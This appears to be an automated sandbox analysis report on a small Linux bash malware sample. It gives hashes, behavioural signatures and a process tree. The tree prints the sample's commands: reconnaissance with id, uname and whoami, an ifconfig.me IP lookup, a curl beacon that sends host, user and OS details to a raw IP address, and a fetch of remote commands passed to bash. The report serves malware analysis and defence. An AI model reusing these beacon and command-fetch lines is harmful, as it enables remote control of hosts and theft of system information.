Analysis
- max time kernel
2s - max time network
4s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
24/10/2026, 18:05
Static task
static1
Behavioral task
behavioral1
Sample
5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
Resource
debian9-mipsel-20260513-en
General
- Target 5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
- Size 1KB
- Sample261024-wpedfabv5v
- SHA256 5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
- MD5 d9ae37762e915ed04796b5e49543fb18
- SHA1 8f09dce7c826aef63ebcd737e6d326b27ed4c7c1
- SHA512 24a73cb56cb40e57e3fed365ff6d2dced2f3c7d65363db7d2d4eb94c912bc0f4f74c977ffe91461082d091e9998659458e1abe31ce7e857cfc022eb0314e0e1a
- TLSH T1C111E2E067694494310CB845F4086D0A7ED349BF3EA9AE5145652DBD38EE491C13D219
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ifconfig.me 2 ifconfig.me - Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/filesystems id File opened for reading /proc/sys/kernel/ngroups_max id File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 668 curl
Processes
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/tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f/tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/usr/local/sbin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/usr/local/bin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/usr/sbin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/usr/bin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/sbin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/bin/bashbash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f1⤵PID:642
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/usr/bin/idid2⤵
- Reads runtime system information
PID:649
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/bin/unameuname -mrs2⤵PID:656
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/usr/bin/whoamiwhoami2⤵PID:661
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/usr/bin/nprocnproc2⤵PID:665
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/usr/bin/curlcurl -s --max-time 5 https://ifconfig.me2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:668
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/bin/hostnamehostname2⤵PID:676
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/usr/bin/curlcurl -s --max-time 8 "http://13.143.132.242/d/764a81a5601b/beacon?host=debian9-armhf-20260513-en-6&ip=85.203.46.187&user=root&os=Linux 4.9.0-13-armmp-lpae armv7l&cpu=1"2⤵
- Checks CPU configuration
- Reads runtime system information
PID:677
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/usr/bin/curlcurl -s --max-time 8 http://13.143.132.242/d/764a81a5601b/cmd2⤵
- Checks CPU configuration
- Reads runtime system information
PID:689
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/bin/bashbash2⤵PID:707
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